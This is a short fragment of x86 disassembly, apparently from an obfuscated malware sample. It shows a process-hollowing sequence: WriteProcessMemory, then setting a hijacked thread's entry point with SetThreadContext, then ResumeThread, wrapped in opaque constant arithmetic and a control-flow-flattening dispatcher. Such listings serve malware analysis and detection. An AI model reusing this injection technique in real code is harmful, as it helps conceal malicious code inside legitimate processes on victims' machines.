mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x184], 0xfb0f57eb
jmp 0x10006dae
mov dword [ebp - 0x184], 0x9ca9229c
jmp 0x10006dae
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x70]
add ecx, 0xa75896ce
add ecx, 8
sub ecx, 0xa75896ce
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 0x28]
add ecx, 0xbf258b24
add ecx, eax
sub ecx, 0xbf258b24
mov eax, dword [ebp - 0x16c]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x184], 0xc4318109
jmp 0x10006dae
mov dword [ebp - 0x184], 0x3b0a755f
jmp 0x100028a0